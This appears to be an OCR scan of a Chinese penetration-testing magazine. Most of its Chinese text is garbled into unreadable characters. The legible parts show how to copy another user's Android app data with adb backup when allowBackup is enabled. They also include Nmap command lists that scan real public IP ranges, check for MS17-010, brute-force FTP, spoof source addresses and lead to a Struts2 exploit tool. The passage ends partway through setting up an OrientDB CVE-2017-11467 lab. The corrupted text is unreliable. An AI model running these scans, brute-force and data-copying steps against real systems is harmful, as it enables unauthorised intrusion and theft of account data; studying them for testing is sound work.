(3) WA (BA sina.weibo A1)
MR : Windows 7, ADB ik TH; #ER4Zf H AR FHL 1, EHFHL 1 3] PC i
FHL 1 AMFHL 2 ¥KkBE ROOT, F/E USB IR A e e N, A B shal il i R H
R BT usB L FAL 1 B PC i, 7E PC H3) (WA UAIEHED) ZEIFFHENE, A
B 2AT AN LR iy 2
® adb devices
#i R R AR, WAFHLE S R ERE
® adb backup -nosystem -noshared -apk -f com.sina.weibo.abcom.sina.weibo
#-nosystem KRN RGN, -noshared R A& N AABTE SD HHIEE, -apk R
AN APK 23 H,  f RN .ab U RTINSO 4, Ba A2 224440 B 1)
packageName
ML LR A A R s
ERFRMTERG, BT R o B B D) % 8 comusina.weibo.ab ST
Wr I FHL 1 )R
BTN 2, a7 T M4
adb kill-server #5< 4] ADB
adb devices #5.#1 J3 2 ADB, Frill FAL 2 & 15 i Th i
adb restore com.sina.weibo.ab
AL 2 B E A PR R E s
LRI 58
FIHFFAL 2 Fogr 2 2 gz o, MRT IR S 5 T 1 Hik S 3T & MeE, HK
WA R
(4) ZEPiy
7~ B android:allowBackup=false, {# /] android:restoreAnyVersion ffJERIA{H -
(5) Al I VA
i | apktool %5 1. H 4 ¥ apk J5, XA AndroidManifest.xml X, #E#K allowBackup, 1
HAEA ture, MFRFERT, WHNEPIR.

2 Eawork\om\ S /. droid Manifest.xml - Notepad-+-+ i —oosu® -
(F) EIE(E) #FRS) ME(V) \|IBN) E\EFL) ©EM I850) &M ZTR) BEEP) E@OW) ?
o o o @& DD Mgt x| &) IR0 @

7 new. ¥oCloud. Androidiiani fest. xalE3 ‘

<uses-permission android:name="android.permission.RESTART PACKAGES">
</u5fs~pern\j.5510n>

<meta-data android:name="android.support.VERSION" android:value="25.3.1">
</meta-data>

=] LEpprication android:allowBackup="true" android:icon="@7F020400" android:label="@7F060047" android:largeHeap
| "com.unicom.wocloud.WoCloudApplication" android:supportsRtl="true" android:theme="@7F080025"5>

|

1

|

E <meta-data android:name="UMENG APPKEY" android:value="5864e2dbb27b0a193700151b">
[</meta-data>
|
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2.Debuggable BRI\ B XK

Ji#: android:debuggable J& 1 T 45 & MR T £ G aete 4t i, W% EHA true, P
LK RER R java TR TR Gidb) A, 5 BRI AR T4 T 2 AR R 2

Bigr: RGERINHN false, fHH RGERINKE

S E

1.android % Wi & 45, http://blog.sina.com.cn/s/blog_83f3c04c0102xeow.html
2. https://developer.android.com/guide/topics/manifest/manifest-intro.html
3.http://blog.csdn.net/shuaishenkkk/article/details/18400711

4. https://segmentfault.com/a/1190000002590577
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2.Nmap 7E pentest box 7134 K N F

secbang.com simeon
BRI —BEAERE, WebBidEr, IEMPEER —FMIEEE, BRI a2E W —fEEg,
FEZFE AR, E AR TG B 5 BORER A, T B HARTAE 1P MR C BEF B U
HREZEMR A Sy, ZMBEY K H b E BRI ERB0E, XX e 0 hrfE Bk i E 275
e TR A B IR S 4 . T BRI, SR T R CE PRI A, A EESN
7 I 11 41488 LA SN FH ) JEL R

2.1 ¥ AT HER TR

1. N % pentestbox

pentestbox /& 3k Windows F£E 12 iE M1 &, B J7 I sl Hihik : https://pentestbox.org/,
BT N 2.2 fAS, T PL R #5H Metasploit FIANET Metasploit FOFE 7, Tl
https://sourceforge.net/projects/pentestbox/files/
https://nchc.dl.sourceforge.net/project/pentestbox/PentestBox-with-Metasploit-v2.2.exe

T EGERUE ¥ 1% exe TR LUE BIRTAEH

2. N nmap wFTHRAS I F+ 2% pentestbox

H Al nmap T E AN 7.6 fiRA (https://nmap.org/dist/nmap-7.60-win32.zip) , ¥
TEBIAR, fRIE)G, 2 PentestBox %% H ik, #IUl: E:\PentestBox\bin\nmap, ¥4
nmap-7.60-win32.zip fi# & 5 ) BT A SCHE7E 551% B 3%, T+ 2% pentestbox H'#) nmap 2 i 8 i A .
3B E HIRE B

WIS I B I, SRECE T AR P bl XX SRR TR, IR R Ik B
LR AW HE TR P bk C 3, 10 192.168.1.1-254, A0SR BN B AR AT LA ping B8 5
S4B STV IRBUIR A4S (1) FLSE 1P ik

2.2 {§ F§ NMAP #4733 H

1.nmap H#SHEM
Usage: nmap [Scan Type(s)] [Options] {target specification}
TARGET SPECIFICATION:
Can pass hostnames, IP addresses, networks, etc.
Ex: scanme.nmap.org, microsoft.com/24, 192.168.0.1; 10.0.0-255.1-254
-iL <inputfilename>: i N EHLEHE PIZK (05138, iL Z8UE B ASCHFRI 2 PR, SCHER R 1P
Huhk 1P bk B ) 2% b
-iR <num hosts>:FENLIZEFE HARBEATH99, 0 R4,
--exclude <host1[,host2][,host3],...>: HERR T M1/ M 2%
--excludefile <exclude_file>: M CAEAHEH EHLEE X 2%
FHURI:
-sL: List Scan -fi] S50 R A48, — AR, Bl &I ENL R A5 S, A& im LS E R .
-sn: Ping 3% -ANfeim LA, EERIENINE, TRENEIEITE.
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AT (%R 365 ) % 5 PIREHRT: antian365-20170828
Muk: www.secbang.com

-Pn: FEZALBEFTE EAL, BEE ENUR I

-PS/PA/PU/PY[portlist]: 3§ TCP SYN/ACK, UDP E{# SCTP 2= /& FILLE H! i) 1 o

-PE/PP/PM: ICMP [m] /5, ISf AR, A7 M FEL 1 SR A IR BT

-PO[protocol list]: IP #3i3 Ping, JEERPMNFIFR

- AHBA T, KA RILTES) 1P bk AT S R4 AT .

-R: HUF Nmap 7Kizxf H A5 1P Huhib A S a4k 4 A

--system-dns: i H R4 AT 25, ERIEHL T, Nmap @id B kI &R BERK N L
e B 1A R S5 AR AT I A . v TR mETERE, YF2IER (—BRJLTAY ) IRRIAT. IR
A B H ARG AW AR S, AR € kI,
--traceroute: FREFFEA EHLAIBKEE 1
EEEEI N

-sS/sT/sA/sW/sM: TCP SYN/Connect()/ACK/Window/Maimon scans
-sS @ TCPSYN %l CEIFHHEIH) , SYN HFE/ENEN R 2 VO KR E I, B HATHR
P, FE—NEA N K EERPUE M % b, AR T AT N 1 .
-sT : TCP connect(){3#fi, TCP RS H FHEMEZLHE.
-sU : UDP #3#, "B A LAFI TCP 43340 SYN F9% (-sS) &5 FH >R A I Ao 2 i Al , UDP
FAHEE L RE .
-sN: Null 394, AN BCEARTIRENL (tep F5E L& 0)
-sF = FIN 3138, W& TCP FIN br&ifi.
-sX : Xmas £AH#i, W& FIN, PSH, Fl URG #5E A1,
-sN; -sF; -sX  (TCP Null, FIN, and Xmas §##) 34 R B0 2 e ARSI — L TR
KEEAFROOE SRR HAS . 7 DML RA R X BRI R A L B L SYN R IE Z R AL — 1,

--scanflags <flags>: 7€ #l| ff] TCP $74#, --scanflags i1 70 V1 158 i #8 AT = TCP AR &AL K 1%
WE B WS, --scanflags EI ] L& — N Anid{E 40 9 (PSH A1 FIN), {EfHZ#/F 4
HR G, HE URG, ACK, PSH, RST, SYN, and FIN HEAT4L& 4T -
-sl <zombie host[:probeport]> (Idlescan), X5 2% 134 5 1% o VA B AR #E4T B IE 1) TCP ¥
OEH (GERERARCONEESL 1P Huht KR HFR) o fH&, side-channel B #]H
zombie AL CEIH) 1P 73 B 1D P90 AR BCELVZESR BUAR H AR BT S B . IDS RS04
R B T 1) zombie Hlo B T AR BRH(HH T & A N ELSL 1P bk RIEAE AT L), 1%
AR AT DU ST 2R T 1P B AER &R . i H B R A zombie NI A E . BoRTFIK
)3 11

-sY/sZ: SCTP INIT/COOKIE-ECHO scans

-sO: IP WA H, e HARHLSCHFRLS 1P B3 (TCP, ICMP, IGMP, Z54%). #h A% LA
AT UDP RN TT XN TAE . EARAE UDP O o 8 EAEEA, T2 £E 1P B iSUIsin) 8 fir
RIS, KR P ROk ROCKIEH RN, ARSI, EEACE T H BTN IE
i3 SC Sk TCP, UDP, Fl ICMP J& =/MlAk . BT = AN IEE sk, R 75 )38 i
RG4E4 k%, 1 H Nmap A BB e,
-b <ftp relay host>: FTP 5 BkITH, FTP B — MR IE & SO TR A ftp 8. B
VFH PSS — 6 FTP RS 8%, ARG ERMHA R — B =7 IR &8 . XRMRHEERZ B IR
WA, BT 2 RS A DA IR e T o b —Flogh 2 T2 FTP AR SS A L e S L
A . R EE R FTP R 45 ds 30 Vi A% — AN 02 H bR EAL B A OSB3 . BRI 2
SR i 2 TP TBOL 2 R ) o 1X 2 G b7 KB I3 773, RO FTP AR G548 i B T AT LA
i)t Web EHLE 2 H e N EBEHLAIAL B - Nmap H-b BT K ftp #BkHA4 . SHU% 02
<username>:<password>@<server>:<port>. <Server>s& -GG FTP AR 55 88 1 44 T8 & 1P
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GAETTET (%K 365 %EWF) 54 5 WAEHS: antian365-20170828
Muk: www.secbang.com

Hidik o BB VF A LA B <username>:<password>, 1R RS 2% R8T E A A P
(user:anonymous password:-wwwuser@). %t 1 5 (LA X BT F B 5) tn] LA, 40 R <server>
1 FHERIA I FTP 35 11 (21).
Ui O 36 B R 3 -

-p <port ranges>{\ X i 5 %2 (0 11, 451 41-p22; -p1-65535; -p
uU:53,111,137,T:21-25,80,139,8080,S:9

--exclude-ports <port ranges>: M\ =14 iy 11508 ] v FEBR F o 11

-F o BRE 4 (7 PR ) 3 1)

-ro ANEEFEBENUGT G 1, 6 g AT

--top-ports <number>: 1§ number /™ UL I B
P 55 AR AAS BRI

-sVAT I RCAS AR 55 BR300, ] AR -A [R] BT 145 E 22 G0 R8I0 R R AR RN

--version-intensity <level>: % B R AT EAL, WEMN 029, BIZ 7, (HB S8,
(EESEFTNNIAVESS

--version-light: T A2 R X, HPL, (HE ARG 1] RePE RS /N — A

--version-all:  CRUEXTBEAN i 220N RIS (R 9)

--version-trace: FREFIMRASHFG D), F1EIHFEAHH T IEAE T B R 0 5 &
BEIA A 4

-sC: #H24 T --script=default

--script=<Lua scripts>: <Lua scripts>/& —ME 57 M I H % PR ST BURIA S 515138,
nmap i W IATE scripts H = &, 10 ftp Z 1B RIA “ftp-brute.nse”

--script-args=<n1=v1,[n2=v2,..]>: EEHMHRISE

--script-args-file=filename: & 3C/FH 2t NSE A S

--script-trace: {7 T A IR AT ) E A

--script-updatedb: 7E 28 55 5 A 209 2R

--script-help=<Lua scripts>: & 7~ A (1 5 Bh (5 B
i 55 2 WA AR

-0: JA ARG, ] DL -A SRR S FH AR 5 GoAs il Al i A fa il

--osscan-limit: £ X4 & 1) B 52T # A R gl

--osscan-guess: HEMIHEAE 2R Gk I &5
i [) F0 4 BE -
T hi<time>& B, WAl LLEMBZR, -, ms-Zf, m-7r8, h-/Nf

-T<0-5>: ¥ BN [ F##i8k, T 0-5 435 A paranoid (0). sneaky (1). polite (2). normal(3).
aggressive (4)F1 insane (5). TO, T1 T IDS HrikE, Polite A3 FAK 1 44 30 B2 DA FH B /D 1)
A B AR EALVEIR, BRIAN T3, Aggressive H VR 1 A 1 LA 38 M 0 5 1A X 28 AT
FAH . Insane 12 XUBCE P A HRE 0l PR ) 10X % Bl o TR i g R A T R T G AP R A

--min-hostgroup/max-hostgroup <size>: % 47 F 41 K/

--min-parallelism/max-parallelism <numprobes>: i % H M SCH) AT FE

--min-rtt-timeout/max-rtt-timeout/initial-rtt-timeout <time>: & 2 %M i A B
--max-retries <tries>: IR ET H K 13 4L

--host-timeout <time>: £ /b i} 8] 53 H bnF 4

--scan-delay/--max-scan-delay <time>: 7E#R | i % 4 18 B[]

--min-rate <number>:5FFP KL F A G A D T <H >

--max-rate <number>: TP R IEH PR LA IS <H 7>

25 T/ 105 TWE ML http://www. antian365. com R H#: & H 28 H HT4E: Hh



AT (%R 365 ) % 5 PIREHRT: antian365-20170828
Muk: www.secbang.com

Bj K $ik/ 1DS 106 itk A1 I G -

-f; -mtu <val>3R CHE, 452 M) MTU(optionally w/given MTU)E F/NEG 1P AL 40 BE .
et TCP Sk BUAE I, /A JE48 . 1DS DA S H B T E flykar 0 5 o PR

-D <decoy1,decoy2[,ME],...>: & F 75 1H B& ki 43 4

-S <IP_Address>:JJ§ Hb i 1t

-e <iface>ff FH#E & i 0

-g/--source-port <portnums>:JJF i [ 1 3f

--proxies <urld,[url2],...>: 381 HTTP / Socks4 A A% 16 1%

--data <hex string>:[A] &35 I ELIE il — > H & A 867 3

--data-string <string>:[A] & 1% AL B 6L N H € X ASCII 477 Hi

--data-length <num>:¥ Fifi AL 2504 16 0 21 & 52 1 28 6

--ip-options <options>: [ ¥& 5& i) 1P 3% 10 A 3% K s

~ttl <val>: % & IP 1] ttl

--spoof-mac <mac address/prefix/vendor name>: 3k i /R Y] MAC ik

--badsum: KIiXHHE O TCP/UDP/SCTP 4%
it

-0N/-0X/-0S/-0G <file>: Hith IEH HAMLEHR, XML, JHIA/NF, 51 Grep Hr i #50, 8 € &
o4

-0A <basename>:— I i Hi —Ff 32 EE 4% 2

-v: SEEKF (A -vv or more ZUR H4T)

-d: FEEIRKT-(FH -dd or more XU LT)

--reason: 7N i AL T3 — 5 e IR A 1 iR B

--open: R IR T (BRATREATIF) I

--packet-trace: 7~ I HUHE AL R IE AN

—-iflist: FTEEHLE DA H CH T D

--append-output: FHINE|F5 @ 4 oo, A 2 ELAY

-—-resume <filename>:P%k & /1 1L 334

--stylesheet <path/URL>:1% B XSL #£:03%, i XML fith

--webxml: ZEFHIER] XML HJ Nmap.org FE.

--no-stylesheet: ZH% XML 7 B ) XSL A0, A HIZ L I04E 1k Nmap (19 XML it S IBAE fr]
XSLFERFR
HE s

-6: JeiFH 1Pve HH

A IR R T, B 0S. RRA, BRI AN ER R 2

--datadir <dirname>: i ] F /' Nmap i SCEAr B

--send-eth/--send-ip: f# Ff Ji LA K WX i R AE JR 1P 2 A 3%

--privileged: {5 H /7 B A 45

--unprivileged: B H P& A R IGE TR

-V ATEIRRA S

-h: fEHHBIE R
245 =451

(1) nmap -v scanme.nmap.org
i EHL scanme.nmap.org T TH AR TCP ¥ 1 (1000 % 1) o & T-v 5 4=,
(2) nmap -sS -0 scanme.nmap.org/24
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BEAT AL SYN #34#, XF R ENL Saznme FT{ER] “C K7 MBI 255 & EML. [FI 22l E
fETEEHNERIE RS, FONEET SYN FRARIE RGN, X AN 3075 AT AR
18

(3) nmap-sV-p22, 53, 110, 143, 4564 198.116.0-255.1-127
BEAT EHLFIAEA TCP $3#, 450N B 2% 188.116 MIBH 255 AN 8 i1 T o X ANIIAR T &
R ETRIBIT T sshd. DNS. imapd B 4564 & 1 . A S Beug D FTH, BAE F R A #6005k
Ty 2 WO At B PR AE 3 AT

(4) nmap -v -iR 100000 -PO -p 80
BEALIZFE 100000 & ENLFAHE R 51817 Web AR 55 #%(80 i ). HH#E 46 i BOA IR R IR ST
€ ENLZ S TARARRIR 2RI A], iy HR 3R LML — AN 1, (A kAl A -Po 25 1E X E ALY
.

(5) nmap -P0 -p80 -oX logs/pb-port80scan.xml -oG logs/pb-port80scan.gnmap
216.163.128.20/20
4 4096 4~ 1P ik, I Web AR5 25 (A ping), K45 R LL Grep Al XML % 2UARAF

(6) host -l company.com | cut-d -f4 | nmap -v -iL -
4T DNS [X 35 L%, U\jiﬂl company.com F I ENL, AR P HhEFRMEZS Nmap. Liddy
4 M T GNU/Linux - L& RGEHEAT XS AL far i A1 AR A 2 .
ERCEEEEE

(1) nmap -p 1-65535 -T4 -A -v 47.91.163.1-254 -oX 47.91. 163. 1-254. xml
9 47. 91, 163. 1-254 B 1P Hihl, (A REHMR, il 47. 91. 163. 1-254. xml

(2) nmap -v 47.91.163.1-254

A48 C 3% WL TCP i 11

(3) nmap -O 47.91.163.1
PRI 47.91. 163. 1 HiR55 %% 0S RRAFN TCP iy I FF 1% it

(4) nmap -sn 10.0.1.161-166
A TE E WL

(5) nmap —e ethO 10.0.1.161 -S 10.0.1.168 —Pn

i FH P e ik 10. 0. 1. 168 XF 10. 0. 1. 161 JEATHIH

(6) nmap -—iflist
B A % R A4

(7) nmap ——script smb-vuln-ms17-010.nse —p 445 192.168. 1.1
nmap —script=samba-vuln—cve-2012-1182 -p 139 192. 168. 1. 3
Xt AL 192. 168. 1. 1 {# AT IAS smb-vuln-ms17-010. nse HEATA .

(8) nmap ——script whois—domain.nse www.sechang. com

SRHL secbang. com M ATEMHFOL, AR FE SN 4 STRFBUT

(9) nmap --script ftp-brute -p 21127.0.0.1
FRIIREME 127.0.0. 1 1) £'tp K5

(10) nmap -sV =script=http-enum 127.0.0.1
Mezé 127.0.0. 1 B H %
4. SR

XPREERY TP bk B TP St 4

(1) B— IP Hhtik B 43
nmap —p 1-65535 -T4 -A -v 47.91.163. 1-254 -oX 47.91. 163. 1-254. xml

(2) TP Mk B4
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AT (%K 365 &MY 5 MEEHT: antian365-20170828
W%k www.secbang.com

nmap —p 1-65535 -T4 -A -v -iL mytarget.txt —-oX mytarget. xml

2.3 TSGR kb

1. AFEHM
FURENL, FRRAENRS S LT, ARG, BHMER NI ETER, WK1
B, XA XSL FERMENT S 80 A . 8% SR K2 T nmap "1 nmap. xs1 SCARAEAXS, W1
2 B, KRB SO B BRI AT . iR nmap Hidik Ay
C:/Program Files (x86)/Nmap/nmap. xsl
H il
E:\Tools\illi*F & \PentestBox-with-Metasploit-v2. 2\bin\nmap\nmap. xs1
ARG R0 xm] SCH A E T B 0], PNl R{EBEBRBATS “\” A 4/

@ E\work\izAR3zR\NmapZEpentest ...

TERR XML K.

FAEERA XSLHARE XML A BEEHRRELE B B
i, SEE-

FEFRIBEENZ L. HBEE
‘file:/ / /E:/Tools/2aEOA& 21" / PentestBox-with-Metasploit-
v2.2/bin/Nmap/nmap.xsl' i 1§ -

K 1 BE xml SR

& el R 91.163.61.xml - Notepad++ -

SHF) RIEE) BR(S) WA(V) BBN) E\ES(L) RETM IRO) EM) EGR) E{*(P) &|Ow) ?

HEE GRS dhRiaenyg 2 RFEVNEREN | EEEE

B nysal-brute.neetd B 47.91.163. El.xmlm‘
1 <?xml version="1.0" encoding="UTF-8"2>
2 <!DOCTYPE nmaprun>
3 <?xml-stylesheet href="file: nmap.xsl" type="text/xsl"?>
5

<!-- Nmap 7.60 scan initiated Sun Aug 13 14:38:56 2017 as: nmap -p 1-65535 -T4 -A -v -oX 47.91.163.61.xml 47.91.163.1-254 -
<nmaprun scanner="nmap" args="nmap -p 1-65535 -T4 -A -v -oX 47.91.163.61.xml 47.91.163.1-254" start="1502606336" startstr='
T14:38:56 2017" version="7.60" xmloutputversion="1.04">

6 |<scaninfo type="syn" protocol="tcp" numservices="65535" services="1-65535"/>

Kl 2 B o B
2. Sy M AL B 4 R
(1) MU o 25 vy AL
MES%%,ﬂ%nﬂiﬁﬁ,EI#mmeTHﬁum,ﬁEém & R TR

MR B R TP R K A0 1 8 By kBt AT T £ 8 A e .
Mﬁﬁﬁﬂﬁﬂ@ﬂﬂﬁﬁ@ﬂ-----

Scan Summary | 47.91.163.1 | 47.91.163.2 | 47.91.163.3 | 47.91.163.4 | 47.91.163.5 | 47.91.163.6 | 47.91.163.7 | 47.91.163.8

47.91.163.9 | 47.91.163.10 | 47.91.163.11 | 47.91.163.12 | 47.91.163.13 | 47.91.163.14 | 47.91.163.15 | 47.91.163.16 | 47.91.163.17 |

HEn sZoiea | ISR | S7eUIeR | A7 NI | BZIOTHEST | AR | A7 SRR | AzIaTeann

-163.28 | 47.91.163.29 | 47.91.163.30 | 47.91.163.31 | 47.91.163.32 | 47.91.163.33 | 47.91.163.3.

. 332, 47.01.463.36 | 47 61.163.37 47 01,463,381 47 62.163.30  47.02.469.40 | 47 61.163.41 47 01 163,47 | 47.91.163.43
7 OIFoaA | 479016348 | 47.01165.40 | 479116947 | 47.91163.48 | 479116349 | 47.01163,50 | 479116951 |

Sgetici=: s7oTiess: | KSR | /o tiletes | RINIETS | Ry | KOS TRR | SUNIERN | STSTSTAN
47.91.163.61 | 47.91.163.62 | 47.91.163.63 | 47.91.163.64 | 47.91.163.65 | 47.91.163.66 | 47.91.163.67 | 47.91.163.6

Szavasien Szaticizc ISEREEEEN | RESSMAN NN szoticase) NS ) ESNEE | 47.01.163.77

47.91.163.154 | 47.91.163.155 | 47.91.163.156 | 47.91.163.157 | 47.
47.91.163.162 | 47.91.163.163 | 47.91.163.164 | 47.91.163.165 | 47.91.163.1
47.91.163.170 | 47.91.163.171 | 47.91.163.172 | 47.91.163.173 | 47.91.163.174 |
47.91.163.178 | 47.91.163.179 | 47.91.163.180 | 47.91.163.181 | 47.91.163.182 |
47.91.163.186 | 47.91.163.187 | 47.91.163.188 | 47.91.163.189 | 47.91.163.190 |
‘o1 s 91,163 .91.163.197 | 47.91.163.198 |
47.91.163.202 | 47.91.163.203 | 47.91.163.204 | 47.91.163.205 | 47.91.163.206 |
47.91.163.210 | 47.91.163.211 | 47.91.163.212 | 47.91.163.213 | 47.91.163.214 |
47.91.163.218 | 47.91.163.219 | 47.91.163.220 | 47.91.163.221 | 47.91.163.222 |
47.91.163.226 | 47.91.163.227 | 47.91.163.228 | 47.91.163.229 | 47.91.163.230 |
47.91.163.234 | 47.91.163.235 | 47.91.163.236 | 47.91.163.237 | 47.91.163.238 |
. 47.91.163.242 | 47.91.163.243 | 47.91.163.244 | 47.91.163.245 | 47.91.163.246 |
47.91.163.247 | 47.91.163.248 | 47.91.163.249 | 47.91.163.250 | 47.91.163.251 | 47.91.163.252 | 47.91.163.253 | 47.91.163.254 |

&l 3 EAE MM

(2) BANEREAME R
SRR TP HbE BN AT ES, FIUES 47.91.163. 219, W 4 Fiw, FTHETLE
2] TP bk DA K st VA &5 RAE L, 7E open HH & IR —E1ELI(E ..
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BRMIT (%R 365 ZaWI) 55 PREHRT:
Muk: www.secbang.com

antian365-20170828

\e

(AR TR RE A SR U SE M

(3) M= oy 1 TS 45

£ FH http://ip:port BEAT VT IR, A M IURS AT LLIEF Uin], 5] i) 4
http://47.91.163.174:8080/7] LLIEH i [M], R GfHH tomcat, U1Kl 5 Fiir.

o ) =S P>
Apache Tomcat x X 47.91.163.72 h X\
| € C' | ®47.91.163.174:8080 G % i

Apache
Tomcat Npache Software Foundat
/&\ - http://www.apache.org,

|Administration

Status
Tomcat Manager

Documentation

Release Notes

Tomcat Documentation

1
|

Tomcat Online

Home Page

If you're seeing this page via a web browser, it means
you've setup Tomcat successfully. Congratulations!

As you may have guessed by now, this is the default Tomcat
home page. It can be found on the local filesystem at:

$CATALINA_HOME/webapps/ROOT/index.html

where "$SCATALINA_HOME" is the root of the Tomcat
installation directory. If you're seeing this page, and you don't
think you should be, then you're either a user who has arrived
at new installation of Tomcat, or you're an administrator who
hasn't got his/her setup quite right. Providing the latter is the
case, please refer to the Tomcat Documentation for more
detailed setup and administration information than is found in
the INSTALL file.

l

socboiobod fo i ore ai P A iy ey

»

l Bug Database NOTE: For security reasons, using the manager webapp is _ L
o s Y e

Bl 5 U5 [ 45
(&) #H1j
FEW B A A Ctri+F PRAEGR 0T DI AR S E I OCR T #HTR R . X A A 25 R 20 %,
T 5 Wik HBE %
3. BE
T I A SR AT o BT B, X R 2% BT U R 55 LA K R B AR AE R R R 2R AT B B ]
DR, Flanxs Java T &, AL S RAELE struts RAITGI, WK 6 Fron. A1 HARE 75 E
BT RIINAR, THRB®METE, BRI, FEEER AL,

° .
BRfES hWiTEHS [xEiE|E805 | xrEE

@9: whoant

Il K8 Struts2 Exp 20170310 N [
® B#: htp://47.91.163.22
9 g®:
® mA: 037 2016 devilode 2013 52-019 2013 52-016 2013 52-013 2011 52-009 2010 52-005

0 SeRTRE

- L] (&

AT

K 6 L%l S AT
FERE— BB E T TR A& 2N R, T8 B H IR e AT A RO A R o T 2
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GETTET (%K 365 %4WR) %5 PREHS: antian365-20170828
M. www.secbang.com

HRUNR

(1) BERHARHIZEMIENL, B0k 38 d B A s T AT 220

(2) ARG GFEHIM, 2258 18R )G 5.

(3) A wvs S5 3 &80 b m AT TR R 43 4

(4) £ burpsuite X ul 25 #EAT IR 4357 F1I R

(5) WP RS, ATLLEN A EEE R ERITHERES, M EEEEE IR
MR 5%

(6) TFEFIRFEARMBEAAATIGR, T RGEAEN, AR AT S5
FRIL,  JFXS2hr RS REAT M

(7) 1298 R Gt AT REAFAE 1 IR VIl

(8) I XSS KARIUE B oA 1) & 1 5645 8. .

(9) A FERMCFE, nILLE msf A2 AR 5 /apk 47 4E TX8H .

(100 FrETEAT, A%, R i,

S F

https://nmap.org/man/zh/

http://www.nmap.com.cn/doc/manual.shtm

B30 T1/3L 105 TR TMEG: http://wew. antian365. com AR A #: & H 28 H HWTF2+E: Hh#H



GAARET (%R 365 ZAMR) 55 W& antian365-20170828
Muk: www.secbang.com

3.0rientDB Z BT IRIAFI A 5 45

simeon
OrientDB U H & & — A3 570 A1 200 NoSQL #udh e, 32 BLET 0 STRS LA K TR S5 AT R R
B 7 A I ERAEL & admin. reader A writer =N, 7EALHE where” Y “fetchplan”
5 “order by” B ELES, HHT7E OrientDB A — /M UUAT groovy BRi%L, groovy BLEERE A VHHE,
5T R, FULRAT LUS T AR E AT 2 %I T B SNt dr 2o
CVE-2017-11467, A SCEEX IR 1K) 43 4 75 92 A0 SR EAT PR 5

3.10rientDB T4/}

OrientDB & 43 A 2 e FL SCRY 0 12 1) 7R 3 M AR BT 3040 P A B Bz e 0 I R 2 Ik R 1)
H-EE R EE B ARG, WRATIE, SRR ERE NosaL Bl e . Ao, R
KNEORART . R 2 SRk, w0 ACID 4. PREZR 5, JHAR saL &l DiRg.
AL JSON kg U SISO . 5 AT B 5T JOIN $RAE B3R, 40 F] 58 R8s 2 T 2 ) L2
PN AT R B LA 6 BRSO I, HLRFTIRA ) OrientDB v2.2.26. B J7 [k :
http://orientdb.com F https://github.com/Orientechnologies.

@ vnisky @
@ Location 3"”%4 Ardbeg y N
< ( \
@ FlavouGrou 3 ( )
y- : N

Yy

Fi

rs
p
o ° K \
e - e, @
A 7, -
% %
S e % N
P ! /
& H (
& & % ( )
» z . 4
& N
& L )
y N @ Y
{ |

10rientdb

asf

3.20rientDB il

1.0rientDB [{j— AN &

Classes : FSEE K R MR FE RGP I Table 545 48 SCRYEUHE FE 1) collections. XM R H
T 00P (Object-oriented programming) [JFE. class H T & CE I S5t (B AL .

Record: record /& OrientDB " & /)N BN AIE i B 547 o record A PUFPZ5%Y: Document.
RecordBytes (BLOB) . Vertex. Edge.

Document: 72 OrientDB 1% R i ] record. Document 3 £F
schema-less,schemal-full,schema-mixed, B[ 7] DATE 58 X EUHE 45 44 1O B 48 2 J8 e & 240 58 4614
WA AATRE . BIEI create class V5K E L — AN EHE 451 .
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Vertex: 7£ OrientDB ] graph # ! , &N 45 s U 4E Vertex, B4 Vertex tH & —> Document.
Edge: fE OrientDB [1] graph #, EHA™ Vertex F1iMY{E Edge. Edge &4 W4T H.
I REEREPIAN Vertex.

Clusters : i T-1#4i# record. FF NG ERZ A 32767 > cluster. FE4 class # LA E /DA —
ANKF R cluster . BRI L T OrientDB 2 H 3l MR class 618 5 24 5T cpu #ZEUHH [F 11 cluster,
b5 —ABRIAH clusters

Cluster Selection: 44 Ji1—%% reocrd B OrientDB 2R i cluster section X 5% ic ik —
A~ cluster. cluster section A Y2525 : detault. round-robin. balanced. local.

Record ID : %A record #i —> record id.  record id &40 T :
#<cluster-id>:<cluster-position>,

Relationships:  OrientDB AN H join, BEIEERA reocrd H1E L — R RBRFEMER
iR R . BNKRBIHEAEME ) LIRE record id, #i4%E X — M EEHENZ T EPA record
&R ALK .

Inheritance & Polymorphic:  OrientDB Sz FF [ [F] X ¢ (1 4k A& 1 22 25458 14 o

2.0rientDB 47 P

OrientDB /& H Java ifi 5 SCILHY, 124T7EIVM Z L.

Multi-Model: OrientDB £ Fi#i 7. Key/Value, Object, Document, and Graph.
Multi-Master Replication:  OrientDB S5 & B &> s &R /& Master, B> Master #3458
BEEAE . — H—> Master FREAHRE R AR, 200 & A A2 5 ) H i [R5 38 A1 H ) Master .
Extended SQL : OrientDB S #F K EB /- An i sQL, [FIRFEFRAERT sQL 2 L3 f& 1 #64r Thfg LA
77 B A

Easy Integration : f#i ] teleporter 7] LAIR 25 2 Hls £ 4 M. RDBMS iE#% 2| OrientDB =,

OOP: OrientDB & X F#E 4541 Class 5F & OOP(Object-oriented programming) 3 &, SCkF
kAR 2 25 BREME

3.0rientDB [ SQL

RS R FE ) saL ivF, 25— R ERRA R AG A G2 B3 e LU ARE T 3 7))
— B SN, FRATE AT DU T B 1 U7 s X AR AR R ST R R
FLAH sQL: OrientDB SCRFAH AR #ER sQL 2] .

il 4n: SELECT FROM Person WHERE name LIKE 'Luk%'

Traverse: traverse 1575 7] LAk J7 3R L — > record BX4G 1) reocrd. "B EE select i F 2 >k 5 1 5
AR o

l4n: RAVERSE out("Friend") FROM #10:1234 WHILE $depth <=3

Match: match & —Fi TR J1R SR B B WIEVELE R, 25LE Neodj /) Cypher iEVESEH) . B L—
At B ) 77 Aok A .

Bl

MATCH {class: Person, as: person, where: (name = 'John' AND surname =
'Doe')}.both('Friend').both('Friend')

{as: friendOfFriend} RETURN person, friendOfFriend

3.3 OrientDB JiVF CVE-2017-11467 4347

LA @I A 5
(1) docker %%, EANZIKHIRTHIRA, FWREL TIRA
docker run -d --name orientdb -p 2424:2424 -p 2480:2480 -e ORIENTDB_ROOT_PASSWORD=root
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orientdb:latest

(2) linux %% orientdb
wget -0 orientdb-community-2.2.22.tar.gz
http://orientdb.com/download.php?file=orientdb-community-2.2.22.tar.gz&os=linux
tar -zxf orientdb-community-2.2.22.tar.gz
mv orientdb-community-2.2.22 /opt/orientdb
Jopt/orientdb/bin/server.sh
useradd -r orientdb -s /sbin/nologin
chown -R orientdb:orientdb /opt/orientdb
chmod 640 /opt/orientdb/config/orientdb-server-config.xml
cp /opt/orientdb/bin/orientdb.service /etc/systemd/system
vi /etc/systemd/system/orientdb.service
15 User=ORIENTDB_USER Group=ORIENTDB_GROUP
ExecStart=SORIENTDB_HOME/bin/server.sh y:

User=orientdb Group=orientdb ExecStart=/opt/orientdb/bin/server.sh
